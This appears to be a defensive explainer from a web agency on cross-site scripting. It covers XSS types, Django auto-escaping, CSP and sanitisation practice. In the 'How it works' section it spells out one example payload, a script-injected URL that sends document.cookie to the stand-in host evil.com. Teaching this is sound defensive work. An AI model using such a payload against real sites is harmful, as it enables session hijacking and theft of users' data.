Menu

XSS (Cross-Site Scripting): What is it?

6 min read Mis à jour le 04 Apr 2026

Définition

XSS (Cross-Site Scripting) is a web vulnerability that allows an attacker to inject malicious JavaScript code into pages viewed by other users. Django natively protects against XSS through template auto-escaping, an essential defence listed in the OWASP Top 10.

What is XSS (Cross-Site Scripting)?

Cross-Site Scripting, abbreviated XSS (the X avoids confusion with CSS), is a web security vulnerability that allows an attacker to inject client-side code, typically JavaScript, into web pages viewed by other users. Unlike CSRF, which exploits the site's trust in the browser, XSS exploits the user's trust in the site. When a browser loads a page containing injected XSS code, it executes it with the same privileges as the site's legitimate code.

There are three main types of XSS. Reflected XSS occurs when user-supplied data in an HTTP request is immediately returned in the response without sanitisation, for example in an error message or search result. Stored XSS (also called persistent XSS) is more dangerous: the malicious code is saved in the database (comment, profile, message) and served to all users who view the affected page. DOM-based XSS occurs entirely on the client side, when JavaScript manipulates the DOM using untrusted data.

XSS consistently features in the OWASP Top 10 most critical web vulnerabilities. For Belgian companies subject to GDPR, an XSS vulnerability can enable the theft of personal data through session hijacking, exposing the organisation to regulatory sanctions and reputational damage.

Why XSS matters

XSS is one of the most frequent and dangerous vulnerabilities on the web. Understanding and preventing it is essential for any development team.

  • Session theft and identity spoofing: an XSS script can access session cookies (document.cookie) and transmit them to the attacker, who can then log into the victim's account without knowing their password.
  • Sensitive data exfiltration: injected code can read page content (personal information, financial data, tokens) and send it to an external server controlled by the attacker.
  • Defacement and phishing: XSS allows modification of the visible page content to display fake login forms, redirect to malicious sites, or inject deceptive content.
  • Viral propagation: a stored XSS can spread automatically, with each infected user generating new injections (as in the Samy worm on MySpace in 2005).
  • Native Django protection: Django's template engine automatically escapes displayed variables, converting special HTML characters (<, >, &, ", ') into harmless entities, blocking the majority of reflected and stored XSS attacks.

How it works

The mechanism of an XSS attack relies on inserting executable code into the HTML stream sent to the victim's browser. For a reflected XSS, the attacker constructs a booby-trapped URL, for example https://app.be/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>. If the server includes the value of the q parameter directly in the HTML page without escaping, the victim's browser will execute this script when loading the page.

For a stored XSS, the attacker submits JavaScript code via a form field that is persisted in the database, such as a blog comment or profile field. Every time a user views the page containing this content, the script executes in their session context.

The primary defence is contextual output encoding. Django implements this automatically in its template engine: any variable displayed with {{ variable }} is escaped by default. Dangerous characters like < become &lt;, preventing the browser from interpreting them as HTML. This protection works as long as you do not use the |safe filter or the {% autoescape off %} tag on untrusted data. Complementary protections include Content Security Policy (CSP) headers that restrict inline script execution, and server-side input validation and sanitisation.

Concrete example

In a CMS project developed by Kern-IT with Wagtail (based on Django), content editors input rich text via RichText fields. The Wagtail framework automatically sanitises the HTML produced by the editor, removing dangerous tags and attributes (scripts, event handlers like onclick, unauthorised iframes). On the template side, all variables are auto-escaped by Django, and we use the |safe filter only on HTML content already sanitised by Wagtail.

For interactive React interfaces consuming our REST API, we apply a strict policy: no user data is inserted via dangerouslySetInnerHTML without going through a sanitisation library like DOMPurify. CSP headers configured on our Nginx server block inline script execution and limit script sources to explicitly authorised domains.

Implementation

  1. Keep Django auto-escaping: never disable {% autoescape off %} to display user data. If you need to render HTML, sanitise it beforehand with a library like bleach or nh3.
  2. Configure Content Security Policy: deploy a strict CSP header with script-src 'self' to block inline scripts and unauthorised sources. Use django-csp to simplify configuration.
  3. Validate and sanitise inputs: apply strict server-side data validation (type, length, expected format) and sanitise rich HTML with dedicated libraries before database persistence.
  4. Use HttpOnly on cookies: configure SESSION_COOKIE_HTTPONLY = True in Django to prevent JavaScript access to session cookies, limiting the impact of a successful XSS.
  5. Audit frontend code: search for uses of innerHTML, document.write(), and dangerouslySetInnerHTML in your JavaScript/React code and verify that data is sanitised before injection.
  6. Scan automatically: integrate OWASP ZAP into your deployment pipeline to detect XSS vulnerabilities before going to production.

Associated technologies and tools

  • Django Template Engine: template engine with HTML auto-escaping enabled by default, the first line of defence against XSS.
  • Content Security Policy (CSP): HTTP header that controls executable content sources, blocking injected inline scripts.
  • DOMPurify / bleach / nh3: HTML sanitisation libraries that remove dangerous tags and attributes while preserving legitimate formatting.
  • OWASP ZAP: open-source web security scanner that automatically detects reflected and stored XSS vulnerabilities.
  • Wagtail RichText: rich content editor that automatically sanitises HTML produced by editors.
  • React: frontend library that escapes values inserted in JSX by default, protecting against XSS in components.

Conclusion

XSS remains one of the most exploited vulnerabilities on the web, but effective defences exist and are widely accessible. Django offers remarkable native protection through template auto-escaping, and complementary tools like CSP and DOMPurify strengthen defence in depth. At Kern-IT, we apply a layered defence approach across all our web applications and Wagtail projects, combining automatic escaping, input validation, security headers, and regular audits to protect our clients' data in accordance with OWASP standards and GDPR requirements.

Conseil Pro

Enable Content Security Policy in report-only mode for two weeks before switching to blocking mode. This allows you to identify your application's legitimate inline scripts without breaking existing functionality, then migrate them to external files or CSP nonces.

Un projet en tête ?

Discutons de comment nous pouvons vous aider à concrétiser vos idées.